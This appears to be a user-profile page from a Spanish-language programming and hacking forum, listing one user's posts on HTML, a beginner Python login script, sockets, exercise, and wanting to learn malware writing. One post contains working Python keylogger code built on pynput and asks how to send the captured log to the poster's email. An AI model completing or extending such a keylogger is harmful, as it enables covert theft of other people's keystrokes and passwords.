transition: 1.5s;
transform:scaleX(1) ;
}
Pd:Si soy nuevo en html y css. |
|
|
|
|
113
|
Programación / Scripting / AYUDA TEXTO HTML
|
en: 17 Septiembre 2020, 07:01 am
|
¿Por qué los textos html / css aparecen tan "pixelados"? ¿Y hay alguna manera de tener mejores resultados y aún usar solo código html / css / javascript / other? ej:  Gracias  |
|
|
|
|
115
|
Programación / Scripting / Problema con keylogger
|
en: 30 Agosto 2020, 04:12 am
|
Hola,estoy creando un keylogger.Y quiero que cuando se presione espacio o borrar se respete eso.Y no quede algo así (holaprueba12) Y también quiero hacer que se me mande el archivo a mi gmail pero no se como hacer algo así. from pynput.keyboard import Listener
f = open("KeyLogger{}.txt", "w")
def key_recorder(key):
key=str(key)
print(key)
if key == "Key.enter":
f.write("\n")
elif key == "Key.space":
f.write("")
elif key == "Key.backspace":
f.write("")
elif key == "'\\x05'":
f.close()
quit()
elif key == "Key.ctrl_l":
f.write("")
elif key == "Key.shift":
f.write("")
else:
f.write(key.replace("'",""))
with Listener(on_press=key_recorder) as l1:
l1.join() PD:ctrl + e para cerrar el keylogger |
|
|
|
|
116
|
Programación / Scripting / Mi primer proyecto de python
|
en: 25 Agosto 2020, 00:32 am
|
Hola a todos,Hace mas o menos 2 semanas comencé con python y decidí hacer un micro proyecto.El cual trata de Registrarse e Iniciar sesión,estoy seguro que en el futuro voy a volverlo a mirar y voy a decir.Dios que ***** de codigo....Pero bueno jeje algo es algo Quiero opiniones  import os
import time
info = 4
ele = 4
us = 3
us2 = 0
co = 0
co2 = 0
loop = 4
loop2 = 4
loop3 = 5
def lp():
print("Espere")
time.sleep(0.5)
print(".")
time.sleep(0.5)
print(".")
time.sleep(0.5)
print(".")
os.system("cls")
t1 = ""
return t1
while loop3 > 3:
print("*********************")
print("* 1:Iniciar sesión *")
print("* 2:Registrarse *")
print("* 3:Salir *")
print("* ¿Qué desea hacer? *")
print("*********************")
print("Solo puedes elegir una de esas opciones!")
ele = input(":")
ele = int(ele)
os.system("cls")
if ele == 1:
print("Ingrse su usuario")
con = input(":")
if con == us:
con = 1
print("Ingrese su contraseña")
con = input(":")
if con == co2:
print("Fin del programa")
loop3 = 2
elif con == "":
print("Error!" + "\n" "Sino tiene un usuario cree uno")
time.sleep(5)
os.system("cls")
if ele == 2:
b = "12"
info = 1
if us == 3:
while loop2 > 2:
b = "12"
print("Ingrese una nombre de usuario")
us = input(":")
print("Repita su usuario")
us2 = input(":")
T1 = ""
T2 = ""
if us == "":
T1 = str(T1.replace("1" ,us))
T1 = str(T2.replace("2" ,us2))
if T1 == T2 == "":
b = str(b.replace("12" ,""))
print("Debe ingresar un usuario")
time.sleep(2)
print(lp())
if us != us2:
print("Ambos tienen que ser iguales")
print(lp())
if b == "12":
if us == us2:
while loop2 > 2:
loop = False
b = "12"
print("Ingrese una contraseña")
co = input(":")
print("Repita la contraseña")
co2 = input(":")
T1 = ""
T2 = ""
if co == "":
T1 = str(T1.replace("1" ,co))
T1 = str(T2.replace("2" ,co2))
if T1 == T2 == "":
b = str(b.replace("12" ,""))
print("Debe ingresar una contraseña")
time.sleep(2)
print(lp())
if co != co2:
print("Ambas tienen que ser iguales")
print(lp())
if b == "12":
if co == co2:
print("Usuario creado exitosamente")
loop2 = False
loop = False
ele = 4
print(lp())
if ele == 3:
print("Adiós")
loop3 = 2 |
|
|
|
|
117
|
Programación / Scripting / Sockets
|
en: 20 Agosto 2020, 03:06 am
|
Chicos soy nuevo en esto de los sockets,logre hacer esto...¿Pero mi pregunta es con que puedo seguir ahora? Servidor import socket
mi_socket = socket.socket()
mi_socket.bind(('192.168.1.31',8000 ))
mi_socket.listen(5)
while True:
conexion, addr = mi_socket.accept()
print ("Nueva conexion establecida!")
print(addr)
respuesta1 = conexion.recv(1024)
print(respuesta1)
mensajeServidor = "Hola, te saludo desde el servidor!"
conexion.send(mensajeServidor.encode())
conexion.close() Cliente import socket
mi_socket = socket.socket()
mi_socket.connect (('192.168.1.31', 8000))
MensajeCliente = "Hola, te saludo desde el cliente!"
mi_socket.send(MensajeCliente.encode())
repuesta = mi_socket.recv(1024).decode()
print(repuesta)
|
|
|
|
|
118
|
Foros Generales / Foro Libre / Rutina de ejercicios?
|
en: 19 Agosto 2020, 04:23 am
|
|
Chicos yo quiero tener un mejor físico (no solo por el tema de las chicas y eso) sino por qué simplemente lo quiero y ya jaja.
Estoy haciendo está rutina
Pecho con barra 5 de 10 repeticiones
Pecho con mancuernas 5 de 8 repeticiones /
Flexiones sobre blanco 5 de 10 repeticiones /
Flexiones normales 5 de 10 repeticiones /
Sentadillas 3 series de 10 repeticiones
Plancha 5 series de 15 segundos /
Abdominales 5 series de 10 repeticiones /
Y también estoy comiendo saludable y hago también ayuno intermitente.
Mi pregunta es ¿creen que me dé algún tipo de resultado?
Gracias por leer
Pd:Perdón por si está mal redactado jeje
|
|
|
|
|
120
|
Seguridad Informática / Análisis y Diseño de Malware / Malwares
|
en: 14 Agosto 2020, 21:56 pm
|
|
Como puedo aprender de la creacion de malwares,Hace poco aprendi a usar python y el tema que me interesa es la creacion de malwares.Si alguien me puede decir que es lo que tengo que saber para lograr hacer un mini malware (de cualquier tipo).Seria genial
Gracias
|
|
|
|
|
|
| |
|
Mostrar Temas
